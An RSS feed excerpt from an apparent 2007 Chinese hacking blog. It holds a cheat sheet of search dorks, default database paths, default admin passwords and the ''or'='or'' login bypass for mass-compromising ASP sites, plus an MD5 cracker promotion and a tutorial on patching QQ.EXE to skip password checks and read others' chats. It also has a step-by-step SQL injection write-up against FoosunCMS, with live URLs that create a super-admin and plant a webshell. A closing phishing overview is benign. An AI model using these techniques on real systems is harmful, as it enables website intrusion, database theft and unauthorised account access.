net mib ver 1.0 design by hypo <br/>搜索网站 http://www.yahoo.cn <br/>密码 'or'='or' <br/>============================================== <br/>新云漏洞：把/flash/downfile.asp?url=uploadfile/../../conn.asp提交到网站根目录。就可以下载conn.asp 找到数据库地址比如 www.123.com 这个站 那么数据库地址就是 http://www.123.com/databasexzws.mdb 大家时常碰到数据库如果前面或者中间+了# 可以用%23替换就可以下载了如:#xzws.mdb 改成%23xzws.mdb 那么数据库就是http://www.123.com/database&#92;%23xzws.mdb然后下载 数据库 <br/>====================================================== <br/>网站猎手 一句话木马 <br/>关键字：Powered by BBSXP 7.00 <br/>后缀：DataBaseBBSXP7.mdb <br/>默认后台：/bbsxp/Login.asp <br/>===================================== <br/>关键字:Management Ver 3.0 Build 20030628 <br/>后缀：upload.asp <br/>一：网站猎手 t0/fF'G ZD <br/>二：明小子 <br/>三：ASP木马 =DUs <br/>==================== <br/>密码：'or'='or' <br/>搜索：WEB Manage Ver 1.0 <br/>LQT Ver 1.0 Design By wm 6 <br/>Web Development By Ver 1.0 Final <br/>Web Management Ver 1.0 Design By Ck8 <br/>===================================== <br/>edit.asp?table= <br/>edit.asp?boardname= <br/>action= <br/>cnunews= <br/>news_main&acode= <br/>asp?id=1 <br/>asp?id=2 <br/>&idx= <br/>edit.asp?idx= <br/>啊D注入工具 百度搜索 <br/>========================= <br/><br/>[NextPage] <br/><br/>搜索：Co Net MIB Ver 1.0网站后台管理系统 <br/>=============================================== <br/>用到工具:挖掘鸡 <br/>后缀添加:admin/login.asp <br/>搜索关键词:申请会员有什么好处? <br/>密码：'or'='or' <br/>================================= <br/>啊D注入工具--百度----关键子：admin <br/>==================================== <br/>挖掘机关键字：Powered by WEBBOY页面：/upfile.asp <br/>网站猎手关键字：Powered by mypower 后缀：upfile_photo.asp <br/>upfile_softpic.asp <br/>upfile_adpic.asp <br/>====================== <br/>关键字：Power BY:VenShop V7.01 Copyright:VenShop.Com <br/>密码：'or'='or' <br/>======================= ;: <br/>关键字:powered by mypower <br/>漏洞页面:upfile_photo.asp <br/>Upfile_Soft.asp <br/>upfile_adpic.asp <br/>upfile_softpic.asp <br/>=============================== <br/>关键字:选购->加入购物车->去收银台->确认收货人信息->选付款方式->选配送方式->在线支付或下单后汇款->汇款确认->发货->完成 <br/>漏洞页面:upload.asp <br/>upfile_flash.asp <br/>============================= <br/>网上搜索 inurl:manage/login.asp <br/>====================================== <br/>关键字:Power BY:VenShop V7.01 <br/>后台地址:ad_login.asp <br/>密码：'or'='or' <br/>==================== <br/>关键字：Powered by WEBBOY <br/>后缀：/upfile.asp <br/>工具：明小子上传 <br/>==================== <br/>关键词：inurl: asp?=数字 <br/>inurl: php?=数字 <br/>=========================== <br/>关键字:went.asp <br/>后缀：manage/login.asp <br/>========================== <br/>添加后缀/msmir_net.mdb <br/>搜索：inurl:Msmir_DownLoads <br/>=============================== <br/>关键字Powered By ：SMT Version 5.0 <br/>后缀：upfile_flash.asp <br/>=========================== <br/>关键字：你要入侵的类别 inurl:asp <br/>工具：啊D注入工具 <br/>================================== <br/>======================================== <br/>一、入侵BBSXP系统： <br/>用到的工具：网站猎手 数据库小助手 MD5密码破解工具 <br/>关键词：广告合作 <br/>管理员登陆地址：BBS主页 <br/>默认数据库地址：/DATABASE/BBSXP.MDB <br/>----------------------------------------- <br/>二、入侵动网论坛 <br/>用到工具：网站猎手 数据库小助手 MD5密码破解工具 <br/>关键词：powered by dvbbs <br/>默认数据库地址：data/dvbbs7.mdb 或者Databackup/dvbbs7.mdb或者bbs/Databackup/dvbbs7.mdb <br/>或者/bbs/Data/dvbbs7.mdb <br/>管理员登陆地址：BBS主页 <br/>默认管理员帐号密码：admin admin888 <br/>-------------------------------------- <br/>三、入侵新云系统 <br/>用到的工具：数据库小助手 MD5密码破解工具 挖掘鸡 ?N 6'*2&#123;NT <br/>eIErX4~~ <br/>关键词：本站所提供的程序均来自于 Internet 所以无法保证下载后一定可以安装 <br/>管理员登陆地址：/admin/admin_login.asp U <br/>默认数据库：database/#newasp.mdb（因为加了#在浏览器是无法连接的。所以我们要改成%23） <br/>database/%23newasp.mdb <br/>默认管理员帐号密码：admin admin <br/>----------------------------------- <br/>四、入侵无忧传奇系统 <br/>用到的工具：网站猎手 数据库小助手 MD5密码破解工具 <br/>关键字： inurl:Msmir_DownLoads <br/>默认数据库地址：数据库连接：/msmir_net.mdb 或/msmir/msmir.mdb <br/>管理员登陆地址：admin.asp <br/>默认管理员帐号密码：msmir msmir <br/><br/><br/>1.先搜索Powered by BBSxp 5.00.SP1 <br/><br/>或Powered by BBSxp 5.00.SP2 <br/><br/>或Powered by BBSxp 5.15 <br/><br/>如是http://www.smxhygk.com <br/><br/>则默认数据库下载地址为 <br/>http://www.smxhygk.com/bbs/database/bbsxp.mdb <br/><br/><br/>2.搜索关键字:Article Management Ver 3.0 <br/><br/>如是http://www.nokia365.com/ <br/><br/>则默认数据库下载地址为http://www.nokia365.com/databaseyiuwekdsodksldfslwifds.mdb <br/><br/>后台http://www.nokia365.com/Admin_login.asp <br/><br/><br/>3.搜Powered By Dvbbs Version 7.1.0 <br/><br/>或Powered By ：Dvbbs Version 7.0.0 Sp2 <br/><br/>或Powered by:Dvbbs Version 6.0.0 <br/><br/>则默认数据库下载地址为网站后加 <br/><br/>bbs/data/dvbbs7.mdb <br/><br/>或ddata/dvbbs7.mdb <br/><br/>或bbs/data/dvbbs6.mdb <br/><br/>当然，你可以搜索Dvbbs Version 用其挖掘鸡或网站猎手，添加后缀， <br/>/data/dvbbs7.mdb <br/>/bbs/Data/dvbbs7.MDB <br/><br/>4.关键字：网梦购物系统 gCS工具： 挖掘鸡 后缀：/admin/login.asp <br/>------------------------------------------------ <br/>上传后缀：upfile_photo.asp <br/><br/>upfile_softpic.asp <br/><br/>upfile_adpic.asp <br/>upfile.asp <br/>upfile_flash.asp <br/>upload.asp <br/>Upfile_Article.asp <br/>Upfile_AdPic.asp <br/>Upfile_OrderPic.asp <br/>Upfile_AdPia.asp <br/>Upfile_Articla.asp <br/>Upfile_Dialog.asp <br/><br/>5.用到工具:挖掘鸡 <br/>后缀添加:admin/login.asp <br/>搜索关键词:申请会员有什么好处? <br/>密码：'or'='or' <br/><br/>6.挖掘机关键字：Powered by WEBBOY页面：/upfile.asp <br/>网站猎手关键字：Powered by mypower 后缀：upfile_photo.asp <br/>upfile_softpic.asp <br/>upfile_adpic.asp <br/><br/>7.关键字：Power BY:VenShop V7.01 Copyright:VenShop.Com <br/>密码：'or'='or' <br/>======================= ;: <br/>关键字:powered by mypower <br/>漏洞页面:upfile_photo.asp <br/>Upfile_Soft.asp <br/>upfile_adpic.asp <br/>upfile_softpic.asp <br/><br/>8.关键字:选购->加入购物车->去收银台->确认收货人信息->选付款方式->选配送方式->在线支付或下单后汇款->汇款确认->发货->完成 <br/>漏洞页面:upload.asp <br/>upfile_flash.asp 
]]>
</description>
</item><item>
<link>http://blog.520.at/post/303/</link>
<title><![CDATA[MD5Crack 4.1]]></title> 
<author>空城 &lt;nanown@qq.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Sun, 25 Nov 2007 04:07:12 +0000</pubDate> 
<guid>http://blog.520.at/post/303/</guid> 
<description>
<![CDATA[ 
	我一直都比较喜欢 MD5Crack，破解算最快的了，推存大家用<br/><br/>当前版本： MD5Crack 4.1 ( 发布日期: 2007 年 2 月 13 日 )<br/><br/>点击下载 MD5Crack 4.1<br/>如果你在运行的时候提示缺少 msvcr71.dll 或 msvcp71.dll 请点击此处下载 <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MD5Crack 4.1 修改了4.0 中16位密码破解结果输出错误的 BUG. <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MD5Crack 4.0 在保留 MD5Crack 特色的基础上重新修改了整个框架. 所有的代码都重新改写. 此次重写主要是将逻辑部分和UI部分进行了分离, 在此基础上同时提供了基于图形的 GUI 界面和基于命令行的 CUI, 并为将来可能增加的 NETUI 提供了基础.<br/>&nbsp;&nbsp; 1. 增加命令行支持, 详见命令行详解.<br/>&nbsp;&nbsp; 2. 修改了GUI 界面布局 , 增加了日志等信息.<br/>&nbsp;&nbsp; 3. 更改了插件接口 , MD5Crack 4 的插件和以前版本的插件不可通用.<br/>&nbsp;&nbsp; 4. 升级了模板字典插件 和随机插件的接口, 并修复了随机插件中的一个 BUG.<br/>&nbsp;&nbsp; 5. 修改了多密码的比较方式, 可提供破解速度, 密码个数越多, 效果越明显, 参见 MD5Crack 4 的速度.<br/>&nbsp;&nbsp; 6. 恢复延时设置 , 使用者可改变此值来调节 CPU 使用率和速度. <br/>&nbsp;&nbsp; 7. 去掉了对密文个数的限制.<br/>&nbsp;&nbsp; 8. 在软件中加入了一个复活节彩蛋.
]]>
</description>
</item><item>
<link>http://blog.520.at/post/226/</link>
<title><![CDATA[亲手打造自己的QQ密码破解器]]></title> 
<author>空城 &lt;nanown@qq.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Sat, 10 Nov 2007 00:46:39 +0000</pubDate> 
<guid>http://blog.520.at/post/226/</guid> 
<description>
<![CDATA[ 
	　　现在使用QQ的网友越来越多了。可是如果密码忘记了或嫌输入QQ密码过于麻烦，那怎么办呢。我们可以自己制作一款QQ密码器。如果你感兴趣的话。可以和我一起自己动手做一个这样的QQ密码破解器。 <br/>　　首先，介绍一下我们要用到的工具软件——Keymake。Keymake是中文界面的国产软件（如图1），它是一款可以很方便的制作出自己的“注册机”或软件补丁的软件。之所以给“注册机”加上了引号，是因为严格说来，用Keymake来制作的“注册机”并不是真正的注册机，只能算做是软件的补丁或另类注册机（用Keymake制作的“注册机”在运行后，可以让注册码自己跳出来，直接显示在屏幕上）。 <br/>　　目前有许多程序的注册码算法都与硬件有关，这类程序在每一台机上安装时都会生成一个机器码，要把这个机器码E-MAIL给作者，待他收到机器码后，再算出注册码寄回给用户，一机一码的结果就是软件只能一机一用。 <br/>　　本来这样无可厚非，但是有些时候，这样做给用户却造成了不少的麻烦，因为只要用户重装系统或升级更换硬件，就要重新去注册软件。对于这种程序，一般人只能在内存中找到自己机器的注册码，但这种注册码到了其它的机器上又不能用了，而自己又没有办法写出注册机来，为了解决这方面的问题，作者写了这个小软件，它可以从另一进程中取出注册码，并在屏幕中显示出来，并且不需要你去了解待注册程序的算法也不需要你会编程，是不是很方便呀？ <br/>　　今天我们就利用它的制作补丁功能制作出QQ聊天补丁，突破QQ的本地密码验证，使得我们无需输入密码就可以进入QQ，实现自由查看QQ聊天记录的目的！　　 <br/>　　下面正式开始。首先，请你下载16进制文件编辑器UltraEdit汉化版，用它来修改QQ的主文件，改造出一个可以无需密码就能登陆的QQ，安装完毕之后，单击桌面上的UltraEdit图标运行它，然后点击“文件”菜单中的“打开”，找到QQ安装目录下的QQ.EXE，点击“确定”打开该文件。 <br/>　　然后点击“搜索”菜单下的“查找”，在出现的对话框的“查找什么”栏中填入：0F8499000000837D1801，这些代码中的“0F8499000000”就是判定你输入的密码是否和真正的QQ密码是否相等的汇编代码的机器码。　　把“QQ密码破解器”拿到朋友家去炫耀一番，运行它试试， 看，界面中有你的大名和使用说明（如图）。 <br/>　　点击“浏览”按钮找到待打补丁的QQ.EXE文件，单击“应用”按钮即可。然后再运行QQ试试，怎么样在登陆时无需输入密码了吧？对于任何号码都如此，哈哈，大功告成！保管你的朋友佩服得五体投地，一个劲地询问你是怎么做的。你还可以把该文件放到网上，让更多的人体验你的智慧和创意，快试试吧！ <br/>　　注意，任何人使用本方法造成任何麻烦与本人无关，这里只是作为技术交流，而且希望大家只是在密码忘记时使用，切记切记！ 
]]>
</description>
</item><item>
<link>http://blog.520.at/post/185/</link>
<title><![CDATA[风讯CMS4.0sp5 商业版的致命伤]]></title> 
<author>空城 &lt;nanown@qq.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Mon, 05 Nov 2007 15:00:15 +0000</pubDate> 
<guid>http://blog.520.at/post/185/</guid> 
<description>
<![CDATA[ 
	文章作者：oldjun&flyh4t[ 脚本安全小组] <br/>信息来源：邪恶八进制信息安全团队（www.eviloctal.com） <br/>注意：文章已经发表在《黑客手册》后由作者友情提交到邪恶八进制信息安全团队技术论坛，转载请注明出处 <br/>FooSunCMS(风讯网站管理系统)是由四川风讯科技发展有限公司自主编写的一套ASP+ACCESS/MSSQL的内容管理系统程序，FoosunCMS已形成内容管理系统整站解决方案。虽然其功能强大，但是在安全性上去是非常脆弱。 <br/>记得以前风讯刚出4.0时，过滤的关键字如下： <br/>f_NoSqlHack_AllStr="'&#124;;&#124;and &#124;chr(&#124;exec &#124;insert &#124;select &#124;delete from&#124;update &#124;mid(&#124;master." <br/>先笑笑这个风讯的过滤函数，名字起的很不错，叫NoSqlHack，但是真的是这样吗？这段sql注入的屏蔽词中，好多关键词都是紧接着空格的，可以用 update%09、update/**/代替update+空格啊。虽然过滤了分号，但是大家有条件的可以测试一下，mssql多句执行不一定是要分号来分割的，你是否觉得有寒意？过滤函数被突破的话，是否意味每个点都是注射点… <br/>最近风讯4.0sp5问世了，我们再来看看其是否有改进。看过改进后的过滤函数 <br/>———————————————————————— <br/>Function NoSqlHack(FS_inputStr) <br/>Dim f_NoSqlHack_AllStr,f_NoSqlHack_Str,f_NoSqlHack_i,Str_InputStr <br/>Str_InputStr=FS_inputStr <br/>f_NoSqlHack_AllStr="*&#124;and &#124;exec &#124;or &#124;insert &#124;select &#124;delete &#124;update &#124;count &#124;master &#124;truncate &#124;declare &#124;and &#124;exec &#124;insert &#124;select &#124;delete &#124;update &#124;count &#124;master &#124;truncate &#124;declare &#124;char(&#124;mid(&#124;chr(&#124;and[&#124;exec[&#124;insert[&#124;select[&#124;delete[&#124;update[&#124;count[&#124;master[&#124;truncate[&#124;declare[&#124;set[&#124;set &#124;set &#124;where[&#124;where &#124;where &#124;xp_cmdshell&#124;xp_cmdshell &#124;xp_cmdshell " <br/>f_NoSqlHack_Str = Split(f_NoSqlHack_AllStr,"&#124;") <br/>…… 这里是去掉的若干没有用的代码 <br/>NoSqlHack = Replace(Str_InputStr,"'","''") <br/>End FunctionEnd Function <br/>————————————————————————— <br/>比老版本过滤的要多一些了，貌似很多关键词还有关键词+空格的都过滤了。/**/也不行了，因为*号也被过滤了，tab也被过滤了，所以%09也无法使用。但是众所周知，mssql对hacker是非常友好的，我们只要找到其他分割符号，这个函数还是很容易被突破的。 <br/>思考了一段时间，百度查查最新的注入方法，看看电脑里一系列注入资料，我们俩绞尽脑汁搞了好久，但都没能找到一个明确的好方法；我们甚至尝试过“ ”分割，不过sql下行不通。后来我想，Mssql疏松的特性使得我们有了可趁之机，因此空格，tab都可以被它识别，所以以前的版本我们能利用tab来入侵，而且有时把空格去掉，mssql都能识别，想到这里，大家会不会跟我一样会出现一个灵感：我们可以不可以尝试回车（这是本文的精彩之处，也是本次入侵最关键的地方），于是我用URLEncode把回车编码了一下是：%0D%0A%0D%0A， <br/>下面我们来测试官方网站吧，随便注册个用户，进入用户管理后台，写了个日志，地址是： <br/>http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2 <br/>测试个and 1=1，ok的，于是继续测试： <br/>http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Pass_Word=%27%27-- <br/>返回正常，语句成功执行了。 <br/>很不错，连忙去后台登录，心想用户名应该不会变化的，直接用admin，可是密码为空的时候，后台提交的时候提示“请输入您的密码！”，很明显那是js的判断，于是把登录页面另存为本地页面，把js去掉，再提交以后又跳出来一个alert：“请填写完整”，打开后台checklogin.asp页面，发现有这句： <br/>if p_UserName = "" or p_TempUserPass = "" then <br/>Response.Write("alert(""错误：请填写完整"");location.href=""Login.asp"";") <br/>Response.End <br/>end if <br/>郁闷，逼我给它设置密码啊，于是执行了下一句： <br/>http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Pass_Word=&#39;83aa400af464c76d&#39;-- <br/>其中：83aa400af464c76d是数字12345678的十六位MD5，执行下，出错了： <br/><br/>寒，原来我忘记了，这个函数还有模有样的把单引号替换掉了，这个就很容易饶过了：12345678先用用md5加密，然后再编成十六进制是38336161343030616634363463373664，于是我执行了下： <br/>http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Pass_Word=0x38336161343030616634363463373664-- <br/>返回正常，兴奋，于是再进后台，输入用户名密码，结果提示：请检查用户名和密码的正确性；郁闷了，难道官方的用户名不是admin，算了用户名也修改掉算了，把“oldjun”十六进制转换了下发过来：0x6F6C646A756E，于是我执行了下用户名的设置： <br/>http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Name=0x6F6C646A756E-- <br/>返回正常了，证明一样的执行成功了，再登录后台，用户名：oldjun；密码：12345678，接下来出现了让我们大失所望的结果，依旧跳出个alert提示：请检查用户名和密码的正确性。 <br/>到这个地方，我开始怀疑是官方站做了手脚了。但我不甘心，从他们的客户案例里找到一个政府站，按照上面的方法试了下，结果居然一样，执行成功了就是登录不进去！那就不是数据库的问题了，很可能是编码的问题。于是我在本地sqlserver里建个表执行了下插入一个用户密码的数据，执行成功了，看看出来的东西，搞笑了，居然是乱码： <br/><br/>怪不得执行成功了还是错误，编码出现问题了。肯定是十六进制编码与字段类型不符合，问了下朋友终于搞清楚了：varchar是非 Unicode 的字符数据；nvarchar是Unicode 数据，所以还要重新编码成长的十六进制： <br/>用户名“oldjun”编码以后是：0x6F006C0064006A0075006E00 <br/>密码“12345678”编码以后是：0x3800330061006100340030003000610066003400360034006300370036006400 <br/>好了，本地插入了下，ok，数据库出来的用户名密码均是我们预期中的数据，显示正常无乱码！于是提交下列语句到风讯： <br/>http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;insert%0D%0A%0D%0Ainto%20FS_MF_Admin%20 <br/>(Admin_Name,Admin_Pass_Word)values(0x6F006C0064006A0075006E00,0x3800330061006100340030003000610066003400360034006300370036006400)-- <br/>再一次的返回正常预示着风讯这个demo站已经是我的了。 <br/>再次进后台已经是没有阻拦了，虽然后台没CSS，看的我头大，但还是很欣喜啊。准备试试拿webshell，不过好像选项很少啊，看看状态条：一般管理员，我寒了，原来还有一般管理员与超级管理员之分，我又看了下风讯的数据结构，原来超级管理员是Admin_Is_Super为1的管理员。这么简单，连编码都用不着了，直接写个执行代码，由于前几次我对sql语句不放心，不敢执行太多的sql语句，所以我没加条件，也就是set用户名与密码的时候都是集体 set，一个语句change了所有的用户名或者密码，这回我加了个条件： <br/>http://demo.foosun.net/User/i_Blog/PublicLogEdit.asp?id=2;update%0D%0A%0D%0AFS_MF_Admin%20set%0D%0A%0D%0AAdmin_Is_Super=1%20where%0D%0A%0D%0AAdmin_Name=0x6F006C0064006A0075006E00-- <br/>好了，所有叫oldjun的管理员都是超级管理员了。用过FooSun的朋友都知道，它管理后台功能非常强大。用bct某人的话说，它强到是一台电脑，一台可以使得恶意用户与服务器相互沟通的电脑。下面的工作就是利用这个强大的后台得到webshell了，有两个简单的方法。第一是利用设置上传文件类型的 Webshell；第二就是通过修改配置文件设置的页面，修改const.asp的，可以直接写入一个asp木马 <br/><br/>本地执行下，传个大马上去，终于拿到shell了： <br/><br/>剩下的事情我们没做，C盘有浏览的权限，但我们没继续尝试提权。目前所有风讯sp5以及sp5以下的sql版本已经全部处于危险之中，大家可以直接过滤危险的参数，不要带空格或者其他，官方的过滤纯属画蛇添足。我们将尽快联系风讯官方，让其尽早推出更新补丁！本次纯属测试，以及提供一个注入入侵的思路，请大家看到此文章以后不要尝试黑别人的站。 
]]>
</description>
</item><item>
<link>http://blog.520.at/post/184/</link>
<title><![CDATA[网络钓鱼的主要手法]]></title> 
<author>空城 &lt;nanown@qq.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Mon, 05 Nov 2007 14:57:42 +0000</pubDate> 
<guid>http://blog.520.at/post/184/</guid> 
<description>
<![CDATA[ 
	网络钓鱼并不象其他的病毒或黑客袭击会对用户计算机造成破坏，更多的是利用人心理上的弱点来欺骗用户的敏感数据…… <br/>　　网络钓鱼并不象其他的病毒或黑客袭击会对用户计算机造成破坏，更多的是利用人心理上的弱点来欺骗用户的敏感数据。其主要欺骗方式如下： <br/><br/>　　一是发送电子邮件，以虚假信息引诱用户中圈套。诈骗分子以垃圾邮件的形式大量发送欺诈性邮件，这些邮件多以中奖、顾问、对帐等内容引诱用户在邮件中填入金融账号和密码，或是以各种紧迫的理由要求收件人登录某网页提交用户名、密码、身份证号、信用卡号等信息，继而盗窃用户资金。 <br/><br/>　　二是建立假冒网上银行、网上证券网站，骗取用户帐号密码实施盗窃。犯罪分子建立起域名和网页内容都与真正网上银行系统、网上证券交易平台极为相似的网站，引诱用户输入账号密码等信息，进而通过真正的网上银行、网上证券系统或者伪造银行储蓄卡、证券交易卡盗窃资金;还有的利用跨站脚本，即利用合法网站服务器程序上的漏洞，在站点的某些网页中插入恶意Html代码，屏蔽住一些可以用来辨别网站真假的重要信息，利用cookies窃取用户信息。 <br/><br/>　　三是利用虚假的电子商务进行诈骗。此类犯罪活动往往是建立电子商务网站，或是在比较知名、大型的电子商务网站上发布虚假的商品销售信息，犯罪分子在收到受害人的购物汇款后就销声匿迹。如2003年，罪犯佘某建立“奇特器材网”网站，发布出售间谍器材、黑客工具等虚假信息，诱骗顾主将购货款汇入其用虚假身份在多个银行开立的帐户，然后转移钱款的案件。 <br/><br/>　　四是利用木马和黑客技术等手段窃取用户信息后实施盗窃活动。木马制作者通过发送邮件或在网站中隐藏木马等方式大肆传播木马程序，当感染木马的用户进行网上交易时，木马程序即以键盘记录的方式获取用户账号和密码，并发送给指定邮箱，用户资金将受到严重威胁。 <br/><br/>　　五是利用用户弱口令等漏洞破解、猜测用户帐号和密码。不法分子利用部分用户贪图方便设置弱口令的漏洞，对银行卡密码进行破解。 <br/><br/>当然还有其他的一些欺骗方式，但大多是利用了社会工程学的欺骗原理，只要用户稍加用心就会避免上当。 
]]>
</description>
</item>
</channel>
</rss>